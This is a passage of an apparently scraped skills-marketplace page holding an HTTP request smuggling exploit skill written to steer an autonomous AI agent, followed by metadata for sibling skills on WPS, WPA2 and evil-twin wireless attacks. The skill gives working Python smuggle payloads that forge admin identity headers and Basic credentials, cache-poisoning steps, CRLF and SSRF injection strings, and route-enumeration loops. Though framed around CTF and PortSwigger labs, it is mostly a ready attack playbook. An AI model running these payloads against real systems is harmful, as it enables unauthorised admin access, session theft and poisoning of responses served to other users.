client-supplied `X-Forwarded-*` \u002F `X-User` \u002F `X-Remote-User` \u002F `X-Real-IP` headers and re-inject their own. The back-end then TRUSTS those headers as authoritative. If you can smuggle an inner request that bypasses the strip (because the front-end already forwarded the outer) and the back-end reads them, you become whoever you claim.\n\n```python\n# Smuggle an inner request with explicit trust headers — front-end never sees them, back-end honors them\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 130\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\\r\\n\"\n    \"GET \u002Fadmin_panel HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"X-Forwarded-User: admin\\r\\n\"\n    \"X-Remote-User: admin\\r\\n\"\n    \"X-Forwarded-For: 127.0.0.1\\r\\n\"\n    \"X-Real-IP: 127.0.0.1\\r\\n\"\n    \"X-User: admin\\r\\n\"\n    \"Authorization: Basic YWRtaW46YWRtaW4=\\r\\n\"   # admin:admin (Basic auth — back-end may accept)\n    \"X-Ignore: X\"\n)\n# Read ≥2 responses; second response body should contain admin content if any header is trusted\n```\n\nThe challenge designer's intent is usually one specific header. Try the catalog above in batches of 3 per smuggle attempt to keep the inner request small enough that CL framing still works. If `Authorization:` flips the response, the back-end re-validates Basic auth and your inner is bypassing the front-end's session-only check.\n\n### B3 — Cache Poisoning via Smuggled Admin Response\n\nFront-end has a shared response cache keyed by URL+headers. Smuggle an inner request whose response (if it were authenticated as admin) would be served — get the cache to store the admin response under a public URL key. Then any unauthenticated client visiting the public URL gets the cached admin response.\n\n```python\n# Step 1: smuggle an inner GET \u002Fadmin_panel with a Cache-Control hint\n# Step 2: from a different connection, GET \u002F (or the public path the cache keys on)\n# If the public response now contains admin HTML — cache poisoning won, the flag is in the cached body\n```\n\nDetection signal: after smuggle, hit a normally-public path (e.g. `\u002F`, `\u002Flogin`, `\u002Fstatic\u002Findex.html`) WITHOUT a session cookie. If response size or content is anomalous (e.g. has an admin nav bar, a session cookie, or admin-only HTML), the cache was poisoned.\n\n### Class B verification\n\nFor Classes B1\u002FB2\u002FB3, the success signal is: **the back-end response body for `\u002Fadmin_panel` (or whatever the protected path is) is returned to YOU on the same connection where you sent the outer POST**, with admin-only content (admin nav, user list, settings page, the flag itself). Reading the SECOND response on the smuggle socket is critical — the FIRST response is the outer POST's 405\u002F200 from the front-end; the SECOND is the back-end's response to the smuggled inner.\n\n```python\n# Read both responses — capture both\nbuf = b\"\"\nresponses_seen = 0\ntry:\n    while responses_seen \u003C 2:\n        c = s.recv(4096)\n        if not c: break\n        buf += c\n        # naive double-response detection: count \"HTTP\u002F1.1 \" occurrences\n        responses_seen = buf.count(b\"HTTP\u002F1.\")\n        if len(buf) > 32768: break\nexcept socket.timeout: pass\n# split on \"HTTP\u002F1.\" boundary; index 1 is the inner-request response; check for \"admin\", \"FLAG{\", or unique admin-page strings\n```\n\n## Class C — Reflected Internal Diagnostics \u002F Response-Desync Pivot\n\nA separate pattern from Class A (admin-cookie theft) and Class B (no-bot\nhijack): the application exposes an **authenticated diagnostic \u002F settings\nendpoint that itself performs an internal HTTP request through the proxy\nstack and reflects the verbose backend response back to the caller**.\nThe win is not to steal admin — it is to make that internal diagnostic\nrequest reach a privileged internal route (status, debug, internal API,\nflag service) and to read the flag out of the reflected response.\n\nThis shows up wherever a frontend exposes \"test the upstream\" \u002F \"fetch\nstatus\" \u002F \"settings preview\" features, including router admin panels,\nservice-mesh dashboards, internal CI\u002Fobservability UIs, and any\nmicroservice that proxies a backend on behalf of the user.\n\n**Recognition signals (any 2+):**\n\n- Authenticated request triggers a backend fetch the response body or an\n  error modal echoes verbose (`-v`-style) — headers, body, target host,\n  status line.\n- Echoed output names internal vhosts\u002Fservices not exposed externally\n  (`Via:`, `X-Forwarded-Host`, `Server:`, internal hostnames).\n- Network-visible enumeration suggests internal status\u002Fdebug\u002Fflag routes\n  on the proxied backend (status pages, health endpoints, debug\n  consoles, internal admin APIs).\n- The challenge ships a low-privilege account and a settings\u002Fdiagnostic\n  page rather than (or alongside) a classic admin login.\n- `smuggling_desync` co-occurs with credentials\u002Fauth-bypass tags pointing\n  at the proxied backend rather than the public frontend.\n\n**Deterministic workflow (time-box ~8 minutes):**\n\n1. Authenticate with whichever low-privilege account the challenge\n   exposes; save the cookie.\n2. Hit the diagnostic\u002Fsettings endpoint once with that cookie and capture\n   the reflected response. Confirm: which internal host\u002Fvhost is being\n   contacted, what baseline path\u002Fheaders are in use, what is being\n   echoed back.\n3. From the reflected output and any other network-visible clues\n   (page comments, JS, `robots.txt`, error text, enumerable status\n   endpoints), assemble a small candidate list of internal routes worth\n   pivoting to (status \u002F health \u002F debug \u002F internal admin \u002F direct\n   flag-fetch endpoints). Do **not** hardcode a single guess.\n4. Send bounded raw-socket smuggle variants targeting the diagnostic\n   request path\u002Fresponse, not the public admin page. Hard wall every\n   harness: `timeout 30`, `sock.settimeout(5)`, bounded `recv` loop.\n   Success signal: `FLAG{...}` (or unique privileged content) appearing\n   in the **reflected diagnostic output** or in the second response on\n   the same socket.\n5. If three bounded variants do not reach an internal route, write the\n   evidence and pivot back to Class A or B. Do not brute-force admin for\n   more than the budget in the exploit workflow (loaded into your system prompt).\n\n**Critical: identify the attack-surface layer BEFORE picking a primitive.**\n\nA diagnostic-reflection HRS has TWO connection paths and they require\nDIFFERENT primitives. Choosing the wrong one wastes the engagement:\n\n| Layer | Connection | Attack primitive | When it applies |\n|---|---|---|---|\n| **External TCP** | Client → frontend proxy (mitmproxy\u002FHAProxy) → external Apache | CL.TE \u002F TE.CL desync from the agent's own socket | The external proxy stack itself has a CL\u002FTE disagreement and the smuggled prefix lands at the external Apache vhost. **Will NOT reach an internal-only vhost.** |\n| **Server-side subprocess** | The diagnostic handler runs `curl` \u002F `file_get_contents` \u002F `requests.get(...)` from inside the application to a backend (`Host: internal.xyz`). | Manipulate the URL or headers of THAT outbound call: SSRF parameter injection, CRLF injection into the URL, http-reuse connection-pool poisoning on the backend port the subprocess hits. | The flag lives on a vhost the SERVER-SIDE curl can reach (because the app already targets it with the right Host header) but the EXTERNAL connection cannot (different vhost routing, IP allowlist, internal-only port). |\n\nDiagnose the layer by reading the reflected output: if the diagnostic\nmodal shows `* Trying 172.x.y.z:\u003Cport>` followed by `> GET \u002F\u003Cpath> HTTP\u002F1.1`\nand `> Host: \u003Cinternal_vhost>`, the **server-side subprocess** is doing\nthe work. An external socket smuggle that goes through the front-end\nproxy CANNOT reach that internal vhost — front-end routing sends the\nagent's socket to the public vhost, where the smuggled prefix lands\non the wrong server. Confirmation signal: the agent's smuggle returns\nthe front-end's 404\u002F405\u002Findex-page body, NOT the internal Flask \u002FApache\nresponse shape.\n\nWhen the layer is server-side subprocess, the primitive shifts from\n\"socket-level CL.TE\" to \"manipulate the subprocess request\":\n\n1. **Direct URL parameter** — does the diagnostic endpoint accept any\n   POST\u002FGET field that flows into the subprocess URL? Try path-traversal,\n   query-string injection, absolute-URL replacement on every field.\n2. **CRLF in URL** — if the subprocess passes user input through\n   `Host:` or path construction without sanitization, `%0d%0aHost:\n   internal.target%0d%0a` rewrites the outbound request line.\n3. **Connection-pool poisoning** — when the backend proxy has\n   `http-reuse always` (HAProxy) or HTTP\u002F1.1 keep-alive, send a prior\n   request that leaves a poisoned framing in the pool; the subsequent\n   subprocess curl reuses that connection and consumes your smuggled\n   prefix.\n4. **Backend-vhost direct hit** — if you can reach the backend port\n   directly (Docker port mapping, allowlisted IP), bypass the subprocess\n   entirely and call the internal vhost with the right `Host` header.\n\nThe sibling-resource enumeration below applies to BOTH layers, but\nmust be run against the layer the flag actually lives on. Confirm the\nlayer FIRST.\n\n**Diagnostic baseline (placeholder identifiers):**\n\n```bash\nTARGET=\"http:\u002F\u002F\u003Ctarget>\"\nLOW_USER=\"\u003Cdiscovered_default_user>\"; LOW_PASS=\"\u003Cdiscovered_default_pass>\"\nDIAG_ENDPOINT=\"\u003Cauthenticated_diagnostic_path>\"\n\ncurl -s -i -c cookies.txt -d \"username=$LOW_USER&password=$LOW_PASS\" \"$TARGET\u002F\u003Clogin_path>\" | tee login.txt\ncurl -s -i -b cookies.txt -X POST \"$TARGET$DIAG_ENDPOINT\" | tee diagnostic_baseline.html\ngrep -Ei \"Via:|X-Forwarded-|Server:|\u003Cinternal_vhost_hint>|FLAG\\\\{\" diagnostic_baseline.html | head -80\n```\n\n**Route-priority heuristic for diagnostic-reflection HRS:**\n\nWhen network enumeration or reflected diagnostics reveal a structured\ninternal namespace (status pages keyed by name, internal device\u002Fservice\nregistries, internal admin APIs distinct from the public admin UI), the\nflag is more often inside that internal namespace than behind the\npublic admin login. Treat the public admin page as a possible decoy and\nprioritize internal\u002Fback-end routes that the proxy is willing to fetch\non the user's behalf.\n\n**Sibling-resource enumeration in the observed URL pattern (MANDATORY):**\n\nWhen the reflected server-side request hits a URL like `\u002Fdevices\u002F\u003Cname>\u002Fstatus`,\n`\u002Fservices\u002F\u003Ckey>\u002Fstate`, `\u002Fprojects\u002F\u003Cid>\u002Fmanifest` — the **URL template** is the\nattack surface, not just the one resource the application already fetches. Two\ncommon failure modes for agents:\n\n1. Trying only the observed path verbatim (e.g. `\u002Fdevices\u002Fwifi_chipset\u002Fstatus`).\n2. Trying generic sibling NAMES at a different depth (e.g. `\u002Fdevices\u002Fflag` —\n   missing the trailing `\u002Fstatus` segment).\n\n**The rule**: substitute every entity name visible in the internal namespace\nlisting (or any synonym list like `flag`, `admin`, `secret`, `debug`, `internal`,\n`backup`, `root`, `system`, `private`, `prod`, `staging`) into the SAME\ntemplate — preserving every path segment, not just the variable one. The\ninternal app's router typically registers routes at the deeper path, not the\nprefix, so partial paths return 404 while the full template returns the\nsensitive resource.\n\n```bash\n# Observed server-side request URL template (from diagnostic reflection)\nURL_TEMPLATE='\u002Fdevices\u002F{NAME}\u002Fstatus'\n\n# Entity names: from the internal namespace listing + canonical sensitive synonyms\nNAMES=(wifi_chipset flag admin secret debug backup internal private system root prod)\n\n# Smuggle each variant — the response that differs from the others is the win\nfor name in \"${NAMES[@]}\"; do\n  path=\"${URL_TEMPLATE\u002F\u002F\\{NAME\\}\u002F$name}\"\n  # ... build the smuggle payload targeting Host: internal.\u003Cvhost> + $path\n  echo \"Smuggle target: $path\"\ndone\n```\n\n**Anti-pattern**: testing `\u002Fdevices\u002Fflag` and concluding the resource is absent\nwhen `\u002Fdevices\u002Fflag\u002Fstatus` would have returned the flag. The internal app's\nURL pattern is what the agent must preserve — recon's job is to extract the\ntemplate; exploit's job is to enumerate every name slot in it.\n\n**Output files:**\n\n```\n.\u002F\n├── diagnostic_baseline.html\n├── diagnostic_desync_\u003Cvariant>.txt\n└── diagnostic_summary.md\n```\n\n## PortSwigger Lab Pattern Reference\n\nPortSwigger's HRS labs follow a stable shape — recognize them so you don't reinvent the variant table:\n\n- **Lab: HTTP request smuggling, basic CL.TE \u002F TE.CL** — direct gate variants above.\n- **Lab: TE.TE obfuscating the TE header** — duplicate-header obfuscation (catalog row 1).\n- **Lab: HTTP\u002F2 request smuggling via CRLF injection** — `:path` \u002F arbitrary pseudo-header CR\u002FLF.\n- **Lab: HTTP\u002F2 request smuggling via h2.cl \u002F h2.te** — downgrade variants.\n- **Lab: client-side desync** — front-end honors body framing the browser sets up (`fetch` with `Content-Length`).\n- **Lab: server-side pause-based desync** — slow-write the smuggled body so the back-end times out partway.\n\nIf you can map the target to one of these lab shapes, copy the lab's payload structure into the harness above before iterating.\n\n## Verification\n\nA smuggle is only confirmed when the smuggled prefix produces VICTIM-OBSERVABLE side effects. Acceptable evidence:\n\n- **Stolen cookie\u002Fheader**: smuggled request to `\u002Fecho` reflects the NEXT user's `Cookie:` \u002F `Authorization:` header back into your response. Repro ≥3 times to rule out coincidence.\n- **Backend admin output reflected**: smuggled `GET \u002Fadmin` returns admin content in YOUR response (i.e. the prefix arrived BEFORE your trailing real request and the back-end concatenated the responses).\n- **Cross-user state contamination**: smuggled `POST \u002Fpassword-reset?user=victim` triggers a real password reset for `victim` (only on test\u002Flab targets — out of scope on real engagements).\n\nDifferential 400\u002F501 alone is **NOT** verification. Connection close after one request alone is **NOT** verification. You need a payload that proves the back-end accepted attacker bytes as the start of someone else's request.\n\n## Output Files\n\n```\n.\u002F\n├── smuggle_gate.txt                    # Confirm-desync gate output (PASS\u002FFAIL evidence)\n├── smuggle_\u003Ctarget>_\u003Cvariant>.txt      # Per-variant raw response captures\n├── smuggle_\u003Ctarget>_evidence.txt       # Cross-user \u002F admin-bleed proof\n└── smuggle_\u003Ctarget>_summary.md         # Variant tried, gate result, evidence trail\n```\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-exploitation","HTTP request smuggling, HRS, request smuggling, desync, CL.TE, TE.CL, TE.TE, h2.cl, h2.te, HTTP\u002F2 downgrade, HTTP downgrade, h2c smuggling, pipelining, header folding, content-length transfer-encoding mismatch, frontend backend disagreement, multi-proxy stack, CDN frontend, reverse proxy, smuggling_desync challenge tag, hrs","T1190","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add Akapi895\u002Fraptix --skill smuggling",{"tool":40,"command":41},"bunx","bunx skills add Akapi895\u002Fraptix --skill smuggling",{"tool":43,"command":44},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]